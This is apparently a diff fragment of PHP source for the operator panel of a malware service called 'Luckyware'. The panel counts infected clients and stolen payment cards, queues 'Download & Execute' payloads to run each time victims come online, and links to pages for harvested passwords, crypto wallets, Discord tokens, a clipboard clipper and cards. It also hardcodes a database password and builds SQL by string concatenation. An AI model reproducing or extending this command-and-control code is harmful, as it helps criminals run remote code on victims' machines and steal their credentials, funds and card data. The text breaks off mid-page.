function validateUserPermissions($role, $secretkey) {
|
||||
if (empty($role) || empty($secretkey)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$validRoles = ['Founder', 'Admin', 'Special', 'Premium', 'Trial', 'User'];
|
||||
return in_array($role, $validRoles);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create secure database connection using PDO
|
||||
*/
|
||||
function createDatabaseConnection() {
|
||||
$host = 'localhost';
|
||||
$dbname = 'luckyminer';
|
||||
$db_username = 'miner';
|
||||
$db_password = 'Sifre.12345';
|
||||
|
||||
try {
|
||||
$pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $db_username, $db_password);
|
||||
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
|
||||
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
|
||||
return $pdo;
|
||||
} catch (PDOException $e) {
|
||||
error_log("Database connection failed: " . $e->getMessage());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Truncate text for display
|
||||
*/
|
||||
function truncateText($text, $maxLength = 45) {
|
||||
if (strlen($text) > $maxLength) {
|
||||
return substr($text, 0, $maxLength) . '...';
|
||||
}
|
||||
return $text;
|
||||
}
|
||||
|
||||
// Main execution
|
||||
try {
|
||||
// Validate HTTP method
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
|
||||
throw new Exception('Invalid request method');
|
||||
}
|
||||
|
||||
// Validate session and permissions
|
||||
if (!validateUserPermissions($role, $secretkey) || !isStringLengthGreaterThan5($secretkey)) {
|
||||
http_response_code(403);
|
||||
echo json_encode(['error' => 'Access denied - Invalid session or insufficient permissions']);
|
||||
exit;
|
||||
}
|
||||
|
||||
// Create database connection
|
||||
$pdo = createDatabaseConnection();
|
||||
if (!$pdo) {
|
||||
http_response_code(500);
|
||||
echo json_encode(['error' => 'Database connection failed']);
|
||||
exit;
|
||||
}
|
||||
|
||||
// Validate and sanitize DataTables parameters
|
||||
$draw = filter_input(INPUT_POST, 'draw', FILTER_VALIDATE_INT);
|
||||
$start = filter_input(INPUT_POST, 'start', FILTER_VALIDATE_INT);
|
||||
$length = filter_input(INPUT_POST, 'length', FILTER_VALIDATE_INT);
|
||||
|
||||
if ($draw === false || $start === false || $length === false) {
|
||||
throw new Exception('Invalid DataTables parameters');
|
||||
}
|
||||
|
||||
// Limit length to prevent excessive data retrieval
|
||||
$length = min($length, 1000);
|
||||
|
||||
// Get and validate search value
|
||||
$searchValue = '';
|
||||
if (isset($_POST['search']['value'])) {
|
||||
$rawSearchValue = $_POST['search']['value'];
|
||||
$sanitizedSearch = sanitizeInput($rawSearchValue);
|
||||
if (!empty($sanitizedSearch) && strlen($sanitizedSearch) > 0) {
|
||||
$searchValue = substr($sanitizedSearch, 0, 100); // Limit to 100 chars for security
|
||||
}
|
||||
}
|
||||
|
||||
// Define sortable columns (whitelist approach)
|
||||
$sortableColumns = [
|
||||
0 => 'ActionID',
|
||||
1 => 'ActionInfo',
|
||||
2 => 'ActionSentTime',
|
||||
3 => 'ActionID' // For buttons column, sort by ActionID
|
||||
];
|
||||
|
||||
// Validate sorting parameters
|
||||
$orderColumnIndex = filter_input(INPUT_POST, 'order', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY);
|
||||
$orderColumn = 'ActionID'; // Default sort column
|
||||
$orderDirection = 'DESC'; // Default sort direction
|
||||
|
||||
if (is_array($orderColumnIndex) && isset($orderColumnIndex[0]['column']) && isset($orderColumnIndex[0]['dir'])) {
|
||||
$columnIndex = intval($orderColumnIndex[0]['column']);
|
||||
$direction = strtoupper($orderColumnIndex[0]['dir']);
|
||||
|
||||
if (isset($sortableColumns[$columnIndex]) && in_array($direction, ['ASC', 'DESC'])) {
|
||||
$orderColumn = $sortableColumns[$columnIndex];
|
||||
$orderDirection = $direction;
|
||||
}
|
||||
}
|
||||
|
||||
// Build base query with role-based filtering
|
||||
$baseWhere = "WHERE ActionSentTime LIKE :download_filter";
|
||||
$params = ['download_filter' => '%Download%'];
|
||||
|
||||
// Role-based filtering
|
||||
if ($role !== "Founder") {
|
||||
$baseWhere .= " AND ActionOwner = :owner_id";
|
||||
$params['owner_id'] = $secretkey;
|
||||
}
|
||||
|
||||
// Add search conditions if search value exists
|
||||
$searchWhere = "";
|
||||
if (!empty($searchValue)) {
|
||||
$searchWhere = " AND (
|
||||
ActionInfo LIKE :search1 OR
|
||||
ActionStatus LIKE :search2 OR
|
||||
ActionType LIKE :search3
|
||||
)";
|
||||
$searchPattern = '%' . $searchValue . '%';
|
||||
$params['search1'] = $searchPattern;
|
||||
$params['search2'] = $searchPattern;
|
||||
$params['search3'] = $searchPattern;
|
||||
}
|
||||
|
||||
// Build the main data query
|
||||
$dataQuery = "SELECT ActionID, ActionInfo, ActionSentTime, ActionStatus, ActionType
|
||||
FROM actions
|
||||
$baseWhere $searchWhere
|
||||
ORDER BY $orderColumn $orderDirection
|
||||
LIMIT :start, :length";
|
||||
|
||||
$stmt = $pdo->prepare($dataQuery);
|
||||
|
||||
// Bind parameters
|
||||
foreach ($params as $key => $value) {
|
||||
$stmt->bindValue(":$key", $value, PDO::PARAM_STR);
|
||||
}
|
||||
$stmt->bindValue(':start', $start, PDO::PARAM_INT);
|
||||
$stmt->bindValue(':length', $length, PDO::PARAM_INT);
|
||||
|
||||
$stmt->execute();
|
||||
$results = $stmt->fetchAll();
|
||||
|
||||
// Process results
|
||||
$data = [];
|
||||
foreach ($results as $row) {
|
||||
// Sanitize and truncate action info
|
||||
$actionInfo = htmlspecialchars($row['ActionInfo'] ?? '', ENT_QUOTES, 'UTF-8');
|
||||
$truncatedInfo = truncateText($actionInfo, 45);
|
||||
|
||||
// Sanitize other fields
|
||||
$actionId = intval($row['ActionID']);
|
||||
$actionSentTime = htmlspecialchars($row['ActionSentTime'] ?? '', ENT_QUOTES, 'UTF-8');
|
||||
|
||||
// Generate secure delete button
|
||||
$buttonsHtml = '
|
||||
<div class="pt-2">
|
||||
<button class="bgCol px-4 py-1 rounded text-stone-300" onclick="deleteRecord(' . $actionId . ')">
|
||||
<i class="fa-solid fa-trash miAuto text-sm"></i>
|
||||
</button>
|
||||
</div>
|
||||
';
|
||||
|
||||
$data[] = [
|
||||
$actionId,
|
||||
$truncatedInfo,
|
||||
$actionSentTime,
|
||||
$buttonsHtml
|
||||
];
|
||||
}
|
||||
|
||||
// Get total count
|
||||
$countQuery = "SELECT COUNT(*) as total
|
||||
FROM actions
|
||||
$baseWhere $searchWhere";
|
||||
|
||||
$countStmt = $pdo->prepare($countQuery);
|
||||
|
||||
// Bind the same parameters for count query (excluding LIMIT params)
|
||||
foreach ($params as $key => $value) {
|
||||
$countStmt->bindValue(":$key", $value, PDO::PARAM_STR);
|
||||
}
|
||||
|
||||
$countStmt->execute();
|
||||
$totalRecords = $countStmt->fetch()['total'];
|
||||
|
||||
// Prepare response
|
||||
$response = [
|
||||
'draw' => $draw,
|
||||
'recordsTotal' => intval($totalRecords),
|
||||
'recordsFiltered' => intval($totalRecords),
|
||||
'data' => $data
|
||||
];
|
||||
|
||||
echo json_encode($response, JSON_UNESCAPED_UNICODE);
|
||||
|
||||
} catch (Exception $e) {
|
||||
// Log error and return generic error response
|
||||
error_log("Actions DataTables Error: " . $e->getMessage());
|
||||
|
||||
http_response_code(500);
|
||||
echo json_encode([
|
||||
'draw' => $draw ?? 0,
|
||||
'recordsTotal' => 0,
|
||||
'recordsFiltered' => 0,
|
||||
'data' => [],
|
||||
'error' => 'An error occurred while processing your request'
|
||||
]);
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,878 @@
|
||||
<?php
|
||||
|
||||
session_start();
|
||||
$domainyess = $_SERVER['HTTP_HOST'];
|
||||
$secretkey = $_SESSION['secret_key'];
|
||||
$username = $_SESSION['admin_name'];
|
||||
$role = $_SESSION['Role'];
|
||||
if (!isset($_SESSION['admin_name'])) {
|
||||
header('location:../Login/');
|
||||
} else {
|
||||
|
||||
if ($role == 'Trial') {
|
||||
header('location: https://' . $domainyess . '/Subscriptions');
|
||||
}
|
||||
|
||||
$conn = mysqli_connect("localhost", "miner", "Sifre.12345", "luckyminer");
|
||||
|
||||
|
||||
if ($role == 'Founder') {
|
||||
|
||||
$selectu = "SELECT * FROM miners";
|
||||
$resultu = mysqli_query($conn, $selectu);
|
||||
$mytk = mysqli_num_rows($resultu);
|
||||
|
||||
$selectan = "SELECT * FROM cards";
|
||||
$resultan = mysqli_query($conn, $selectan);
|
||||
$mystole = mysqli_num_rows($resultan);
|
||||
|
||||
|
||||
$fiveMinutesAgo = time() - 360;
|
||||
$selectana = "SELECT * FROM miners WHERE LastPing >= $fiveMinutesAgo";
|
||||
} else {
|
||||
$selectu = "SELECT * FROM miners WHERE OwnerID = '$secretkey'";
|
||||
$resultu = mysqli_query($conn, $selectu);
|
||||
$mytk = mysqli_num_rows($resultu);
|
||||
|
||||
$selectan = "SELECT * FROM cards WHERE OwnerID = '$secretkey'";
|
||||
$resultan = mysqli_query($conn, $selectan);
|
||||
$mystole = mysqli_num_rows($resultan);
|
||||
|
||||
|
||||
$fiveMinutesAgo = time() - 360;
|
||||
$selectana = "SELECT * FROM miners WHERE OwnerID = '$secretkey' AND LastPing >= $fiveMinutesAgo";
|
||||
}
|
||||
|
||||
$resultanss = mysqli_query($conn, $selectana);
|
||||
$myaktv = mysqli_num_rows($resultanss);
|
||||
}
|
||||
|
||||
|
||||
function sanitizeInput($input)
|
||||
{
|
||||
// Define the list of forbidden characters
|
||||
$forbiddenChars = ['(', ')', '=', '*'];
|
||||
|
||||
$isac = '0';
|
||||
// Check if the input contains any forbidden characters
|
||||
foreach ($forbiddenChars as $char) {
|
||||
if (strpos($input, $char) !== false) {
|
||||
// Forbidden character found, handle the error (you can customize this part)
|
||||
$isac = '1';
|
||||
}
|
||||
}
|
||||
|
||||
if ($isac == '1') {
|
||||
|
||||
return 'NoSpecialChar';
|
||||
} else {
|
||||
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (isset($_POST["savv"])) {
|
||||
|
||||
$Acton = $_POST['powar'];
|
||||
|
||||
|
||||
$sql = "INSERT INTO actions (HWID, ActionInfo, ActionType, ActionOwner, ActionStatus, ActionSentTime) VALUES ('0',?,'exc', ?, '0', 'Download & Execute')";
|
||||
$stmttc = mysqli_prepare($conn, $sql);
|
||||
mysqli_stmt_bind_param($stmttc, "ss", $Acton, $secretkey);
|
||||
mysqli_stmt_execute($stmttc);
|
||||
}
|
||||
|
||||
if (isset($_POST['id'])) {
|
||||
// Handle the deletion here
|
||||
$idA = $_POST['id'];
|
||||
|
||||
|
||||
$sqlUpdate = "DELETE FROM actions WHERE ActionID = ?";
|
||||
$stmtUpdate = $conn->prepare($sqlUpdate);
|
||||
$stmtUpdate->bind_param("i", $idA);
|
||||
|
||||
if ($stmtUpdate->execute()) {
|
||||
} else {
|
||||
}
|
||||
}
|
||||
|
||||
?>
|
||||
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<link rel="stylesheet" href="../assets/css/custom.css">
|
||||
<link rel="stylesheet" href="../assets/css/style.css">
|
||||
<link rel="stylesheet" href="../assets/css/hover.css">
|
||||
<script src="https://cdn.tailwindcss.com"></script>
|
||||
<link rel="stylesheet" href="../../assets/fontaw/css/all.min.css">
|
||||
<script src="https://dooovid.github.io/smoothcaret/demo/smoothCaret.min.js" defer></script>
|
||||
<meta content="Luckyware" property="og:title" />
|
||||
<meta content="Luck is something you make and victory is something u take" property="og:description" />
|
||||
<meta content="https://<?php echo $domainyess; ?>" property="og:url" />
|
||||
<meta content="https://<?php echo $domainyess; ?>/icon.png" property="og:image" />
|
||||
<meta content="#e2ff85" data-react-helmet="true" name="theme-color" />
|
||||
<link rel="shortcut icon" href="https://<?php echo $domainyess; ?>/icon.png" />
|
||||
<link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.4.2/css/all.css">
|
||||
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.11.5/css/jquery.dataTables.css">
|
||||
<script type="text/javascript" charset="utf8"
|
||||
src="https://cdn.datatables.net/1.11.5/js/jquery.dataTables.js"></script>
|
||||
<title>Automations</title>
|
||||
|
||||
<style>
|
||||
.loading-overlay {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: #111111;
|
||||
z-index: 9999;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
opacity: 1;
|
||||
visibility: visible;
|
||||
/* Add visibility property */
|
||||
transition: all 1s ease;
|
||||
/* Longer transition and apply to all */
|
||||
}
|
||||
|
||||
.loading-overlay.fade-out {
|
||||
opacity: 0;
|
||||
visibility: hidden;
|
||||
/* Hide element after fade */
|
||||
}
|
||||
|
||||
.loading-spinner {
|
||||
width: 50px;
|
||||
height: 50px;
|
||||
border: 3px solid #333;
|
||||
border-radius: 50%;
|
||||
border-top-color: #850000;
|
||||
animation: spin 1s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
100% {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
/* Custom DataTable styles */
|
||||
#DashTable {
|
||||
border-radius: 0.5rem;
|
||||
background-color: var(--background);
|
||||
border-collapse: separate;
|
||||
border-spacing: 0 0.7rem;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
#DashTable th {
|
||||
font-family: 'Kanit', sans-serif;
|
||||
font-weight: 500;
|
||||
color: #e7e5e4;
|
||||
font-weight: bold;
|
||||
text-align: center;
|
||||
padding: 10px;
|
||||
border-bottom: 1px solid var(--background);
|
||||
}
|
||||
|
||||
#DashTable tr {
|
||||
background-color: var(--background);
|
||||
border-radius: 0.5rem;
|
||||
}
|
||||
|
||||
#DashTable td {
|
||||
background-color: #151515;
|
||||
color: #a8a29e;
|
||||
text-align: center;
|
||||
border-bottom: 1px solid var(--background);
|
||||
padding: 10px;
|
||||
font-weight: 100;
|
||||
font-family: 'Kanit', sans-serif;
|
||||
}
|
||||
|
||||
#DashTable td:first-child {
|
||||
border-radius: 0.5rem 0 0 0.5rem;
|
||||
/* Rounded corners on the left side */
|
||||
}
|
||||
|
||||
#DashTable td:last-child {
|
||||
border-radius: 0 0.5rem 0.5rem 0;
|
||||
/* Rounded corners on the right side */
|
||||
}
|
||||
|
||||
#DashTable tbody tr:hover {
|
||||
background-color: var(--main-hover-color);
|
||||
color: #D6D3D1;
|
||||
}
|
||||
|
||||
/* Custom hover link color */
|
||||
.hover-link {
|
||||
color: #111111;
|
||||
transition: color 0.3s ease-in-out;
|
||||
}
|
||||
|
||||
.hover-link:hover {
|
||||
color: #f54b42;
|
||||
}
|
||||
|
||||
.dataTables_wrapper .dataTables_paginate .paginate_button {
|
||||
background-color: #151515;
|
||||
/* Add !important to ensure white color */
|
||||
border: none;
|
||||
padding: 7px 10px;
|
||||
margin: 2px;
|
||||
cursor: pointer;
|
||||
color: #a8a29e;
|
||||
}
|
||||
|
||||
.dataTables_wrapper .dataTables_paginate .paginate_button:hover {
|
||||
background-color: #181818;
|
||||
border: none;
|
||||
}
|
||||
|
||||
.dataTables_wrapper .dataTables_paginate .paginate_button.current {
|
||||
background-color: #850000;
|
||||
color: #e7e5e4;
|
||||
border: none;
|
||||
}
|
||||
|
||||
/* Text color for elements like "Showing x to x of x entries" */
|
||||
.dataTables_info,
|
||||
.dataTables_length,
|
||||
.dataTables_paginate,
|
||||
.dataTables_filter {
|
||||
color: #a8a29e !important;
|
||||
margin-bottom: 7px;
|
||||
/* Add space below these elements */
|
||||
}
|
||||
|
||||
/* Add space between "Show entries" and pagination controls */
|
||||
.dataTables_length,
|
||||
.dataTables_paginate {
|
||||
margin-top: 7px;
|
||||
}
|
||||
|
||||
/* Color for the "Show x entries" dropdown and options */
|
||||
.dataTables_length select {
|
||||
background-color: #111111 !important;
|
||||
color: #d6d3d1 !important;
|
||||
border: 1px solid #181818 !important;
|
||||
/* Remove border to make it borderless */
|
||||
padding: 5px;
|
||||
}
|
||||
|
||||
/* Color for the pagination controls */
|
||||
.dataTables_paginate a,
|
||||
.dataTables_paginate span,
|
||||
.dataTables_paginate .ellipsis {
|
||||
background-color: #111111;
|
||||
color: #d6d3d1 !important;
|
||||
/* Important to override DataTable's default styles */
|
||||
border: none;
|
||||
padding: 5px 10px;
|
||||
margin: 2px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
/* Hover color for pagination controls */
|
||||
.dataTables_paginate a:hover {
|
||||
background-color: #181818;
|
||||
border: none;
|
||||
}
|
||||
|
||||
/* Current page number color */
|
||||
.dataTables_paginate .current {
|
||||
background-color: #850000;
|
||||
color: #d6d3d1 !important;
|
||||
/* Important to override DataTable's default styles */
|
||||
border: none;
|
||||
}
|
||||
|
||||
/* DataTable search box styles */
|
||||
.dataTables_wrapper .dataTables_filter input {
|
||||
background-color: var(--background);
|
||||
color: #ffffff;
|
||||
border: 1px solid #181818;
|
||||
/* Add a 1px gray border */
|
||||
border-radius: 5px;
|
||||
padding: 5px;
|
||||
}
|
||||
|
||||
/* DataTable ordering arrow styles */
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting:after,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting:before,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_asc:after,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_asc:before,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_desc:after,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_desc:before {
|
||||
color: var(--main-color);
|
||||
}
|
||||
|
||||
/* DataTable table responsive */
|
||||
.table-responsive {
|
||||
background-color: #111111;
|
||||
color: #D6D3D1;
|
||||
padding: 15px;
|
||||
border-radius: 5px;
|
||||
overflow-x: auto;
|
||||
}
|
||||
|
||||
/* DataTable scrollbar styles (if needed) */
|
||||
#DashTable::-webkit-scrollbar {
|
||||
width: 8px;
|
||||
}
|
||||
|
||||
#DashTable::-webkit-scrollbar-thumb {
|
||||
background-color: var(--main-color);
|
||||
}
|
||||
|
||||
#DashTable::-webkit-scrollbar-track {
|
||||
background-color: var(--secondary-background);
|
||||
}
|
||||
|
||||
|
||||
.current {
|
||||
background-color: #850000;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body class="dg">
|
||||
<div class="loading-overlay">
|
||||
<div class="loading-spinner"></div>
|
||||
</div>
|
||||
<div id="mobile topNav" class="bg xl:hidden"> <!-- MOBILE TOPNAV -->
|
||||
<div class="grid sm:grid-cols-2 px-5 py-3">
|
||||
<div class="1 text-left">
|
||||
<div class="flex">
|
||||
<img class="w-12" src="https://<?php echo $domainyess; ?>/icon.png" alt="">
|
||||
<h1 class="py-5 fntBold tracking-wide text-lg text-stone-300 ml-3">Luckyware <span
|
||||
class="textCol">Builder</span></h1>
|
||||
</div>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<button class="text-xl text-stone-300 py-5"><i class="fa-solid fa-bars"></i></button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="grid xl:grid-cols-12"> <!-- start -->
|
||||
|
||||
<div class="col-span-2 bg xl:grid sm:hidden pb-24 rounded-lg"> <!-- DESKTOP SIDENAV -->
|
||||
<div class="1">
|
||||
<div class="flex justify-center mt-10">
|
||||
<h1 class="text-stone-300 fntBold text-2xl tracking-wide">
|
||||
Lucky <span class="textCol">Ware</span>
|
||||
</h1>
|
||||
</div>
|
||||
<div class="mx-5 mt-6">
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Dashboard</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-house text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Builder';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Builder</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-hammer text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Passwords';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Password</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-key text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Wallets';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Wallets</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-wallet text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Tokens';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Tokens</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-brands fa-discord text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Automations';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn border-b brdCol mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Automations</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-play textCol mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Clipper';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Clipper</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-clipboard text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Cards';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Cards</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-credit-card text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Settings';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Settings</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-gear text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="window.open('https://<?php echo $domainyess; ?>/Dashboard/Information', '_blank');"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Information</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-circle-info text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="col-span-10 mx-5 mt-10"> <!-- CONTENT -->
|
||||
|
||||
<div class="grid xl:grid-cols-4 sm:grid-cols-2 gap-5"> <!-- STATS -->
|
||||
|
||||
<div class="1 bg rounded-lg px-5 py-5 btn">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg w-96"><i
|
||||
class="fa-solid fa-earth-americas text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Total Clients</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $mytk; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="2 bg rounded-lg px-5 py-5 btn">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
|
||||
class="fa-solid fa-globe text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Active Clients</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $myaktv; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="3 bg rounded-lg px-5 py-5 btn">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
|
||||
class="fa-solid fa-clipboard text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Total Cards</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $mystole; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<a href="https://<?php echo $domainyess; ?>/Subscriptions" class="block">
|
||||
<div class="4 bg rounded-lg px-5 py-5 btn cursor-pointer hover:opacity-90 transition">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
|
||||
class="fa-solid fa-money-bill text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Subscription</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $role; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</a>
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
<div class="grid xl:grid-cols-6 gap-5 mt-5">
|
||||
<!-- RAVEN ADDRESS -->
|
||||
<div class="xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 h-max btn2">
|
||||
<div class="grid grid-cols-2">
|
||||
<div>
|
||||
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400">
|
||||
<i class="fa-solid fa-plus mr-1 icon2"></i> Add Automation
|
||||
</h1>
|
||||
</div>
|
||||
<div class="text-right"></div>
|
||||
</div>
|
||||
<hr class="mx-5 mt-2 border-stone-800">
|
||||
|
||||
<form method="post">
|
||||
<div class="flex mx-5 mt-5 space-x-2">
|
||||
<div class="w-full">
|
||||
<div class="sc-container mt-2">
|
||||
<input id="powar" name="powar" data-sc=""
|
||||
class="smoothCaretInput rounded-lg py-2 px-3 text-stone-400 dg"
|
||||
placeholder="Recommended services for file host: github.com, catbox.moe || This file is going to be executed everytime Infected Clients go Online."
|
||||
type="text">
|
||||
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="flex mx-5 mt-3 space-x-2">
|
||||
<button id="savv" type="submit" name="savv"
|
||||
class="dg w-full py-2 rounded-lg text-stone-400 fntBold tracking-wide btn hvr-underline-from-center">
|
||||
<i class="fa-solid fa-floppy-disk mr-1 icon"></i>
|
||||
Add Automation
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="rounded-lg mt-5 bg pb-5 btn2"> <!-- TABLE -->
|
||||
|
||||
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
|
||||
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400">
|
||||
<i class="fa-solid fa-play mr-1 icon2"></i>
|
||||
